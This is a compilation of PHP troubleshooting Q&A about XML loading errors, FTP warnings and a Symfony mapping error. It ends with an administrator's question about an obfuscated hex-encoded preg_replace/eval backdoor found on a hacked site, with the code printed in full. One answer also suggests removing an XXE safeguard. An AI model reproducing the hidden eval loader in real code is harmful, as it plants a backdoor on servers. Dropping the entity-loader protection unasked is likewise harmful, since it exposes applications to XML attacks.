so I'm trying implement a website which uses data stored in an xml file.
It works fine on my computer, but as soon as I try to upload it, I get the following error:
Warning: simplexml_load_file() [function.simplexml-load-file]: I/O warning : failed to load external entity "..\lib\menu.xml" in /home/ogwareco/public_html/menu.php on line 2
And none of the data gets displayed on the screen. I've Googled this problem, but it's led nowhere. I've got no idea what to do here. I've even tried to set my permissions to 777 (bad idea, I know), to see if it was a permissions thing, but it's not.
It looks like you are using backslashes to refer to the file on a Linux machine. Change
..\lib\menu.xml
to
../lib/menu.xml
in your code.
Related
I am trying to use the simplexml_load_file function in PHP 7.2. I get
Warning: simplexml_load_file(): I/O warning : failed to load external entity "../repositories/some.xml"
I went and replaced the call to simplexml_load_file with the following:
$source = file_get_contents($path);
$xml = simplexml_load_string($source);
and I works perfectly now. (NOTE The $path is the one that's listed in the error)
Unfortunately I don't have any other information as I have no idea why this could happen. What could be the root of the problem?
I finally found the problem nobody could've found just by reading the question: mxgraph-php uses libxml_disable_entity_loader without giving any notice and this is what causes the error.
For those using mxServer.php, you can simply comment/remove the line if you trust the XML files (see vulnerability example):
libxml_disable_entity_loader(true);
If you cannot trust the XML file, you can use simplexml_load_string with the processed contents of the file as parameter.
NOTE I couldn't have thought of mxgraph as the source of this problem and I spent a few hours on this, so I hope it will help people coming from Google with this warning text.
I can not find any answer to this as most problems revolve around a file not existing or a delete process not working.
I have an FTP device where I generate a file with an PHP script. After that, I try to FTP in, get the file and after that, delete it.
This all works fine, I can connect, get the file and save it locally and then delete it. Except for one thing, the ftp_delete() function results in a warning.
PHP gives me the following, when executing the script:
A PHP Error was encountered
Severity: Warning
Message: ftp_delete(): Command okay
I looked up the error code, it means it was successful. And it was because the file is deleted on the FTP device.
So why does this generate an PHP error?
Cheers.
The RFC 959 (FTP specification) mandates that on a successful completion of the DELE command, the server should respond with 250 status code.
The PHP FTP implementation is very strict, yielding a warning on any other code, even if it indicates a success (2xx class).
Your server probably uses some other 2xx code, like a generic 200 Command okay.
In my project with Symfony, I have this random error appear when I go to random page in my application:
ContextErrorException: Warning: simplexml_load_file(): I/O warning : failed to load external entity "C:\wamp\www\Symfony\vendor\friendsofsymfony\user-bundle\Resources\config\doctrine\model/User.orm.xml"
in C:\wamp\www\Symfony\vendor\doctrine\orm\lib\Doctrine\ORM\Mapping\Driver\XmlDriver.php line 736
Refresh the page many times seems to disable this error until it appears again.
I think, Symfony try to load .xml format but FOSUserBundle is in .yml.
I use Symfony 2.5.6, and the 5.5.12 php version with WAMP Server.
For now, this error is not disturbing my application developpement, but I would like to find the solution anyway. I don't understand why I have this error now.
The only things change in my application is that I insert some datas in my database with SQL request (in fact I use some data which already exist in another database, I have to import them in my new database with SQL on PhpMyAdmin, but nothing came wrong with SQL when I inserted them). The import worked well and there's no mistake with the datas of my database project.
Hi #Julien FOSUser issue#1062 and symfony2 issue#7291 will help to resolve your problem.
the line 707 XmlDrive.php has to changed form:
$xmlElement = simplexml_load_file($file);
to
$xmlElement = #simplexml_load_file($file);
This is a strange solution but it works!
NB: pay attention when updating your bundles...
I've got a fairly simple cron job that pulls down some files from an FTP server - none of the files are particularly large, but I'm constantly getting the following:
Connected to voip.colefabrics.com, for user colefabrics\absolute
Warning: ftp_get(): Opening BINARY mode data connection. in /home/www/colefabrics.com/httpdocs/libs/classes/class.ftpObj.php on line 56
There was a problem while downloading website/items.csv
Attempt 2:
Connected to voip.colefabrics.com, for user colefabrics\absolute
Warning: ftp_get(): Opening BINARY mode data connection. in /home/www/colefabrics.com/httpdocs/libs/classes/class.ftpObj.php on line 56
There was a problem while downloading website/items.csv
...snip...
I've been through all the other posts relating to this, tried to enforce passive mode, increased the timeout, but nothing is working.
Does anyone know what might be causing this, and what I can do to try and resolve it?
To confirm, it's working fine via a 'normal' FTP client, it's only via PHP that I have a problem.
I was randomly browsing a site on one of our servers, and I found this bit of code as the second line on index.php:
#preg_replace("\x24\50\x5b\136\x3c\135\x2b\51\x24\163\x69\145","\x65\166\x61\154\x28\47\x24\147\x63\155\x3d\67\x37\67\x37\61\x3b\47\x2e\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\151\x6d\160\x6c\157\x64\145\x28\42\x5c\156\x22\54\x66\151\x6c\145\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x5c\61\x22\51\x29\51\x29\51\x3b\44\x67\143\x6d\75\x37\67\x37\67\x31\73","\x4c\62\x68\166\x62\127\x55\166\x59\62\x78\150\x63\63\x4e\160\x5a\155\x6b\166\x63\110\x56\151\x62\107\x6c\152\x58\62\x68\60\x62\127\x77\166\x62\107\x46\165\x5a\171\x39\152\x59\127\x4e\157\x5a\123\x38\165\x4a\124\x67\171\x4f\105\x55\154\x4d\104\x41\170\x4d\171\x56\103\x4f\105\x59\172\x4a\125\x4a\104\x4d\125\x49\154\x51\152\x49\171\x51\151\x55\60\x52\152\x55\63");
When I run it, I get:
Warning: file(/home/classifi/public_html/lang/cache/.%828E%0013%B8F3%BC1B%B22B%4F57): failed to open stream: No such file or directory
It looks like it's obfuscated to do something that it really shouldn't be doing. Can anyone explain to me how I can figure out what the intention was of this line of code? And whether or not my server was actually hacked?
What was the perpetrator trying to do? It is a site running NOAH CLASSIFIEDS script.
that is an hexa-coded text if you want to see the decoded version then see this
Decoded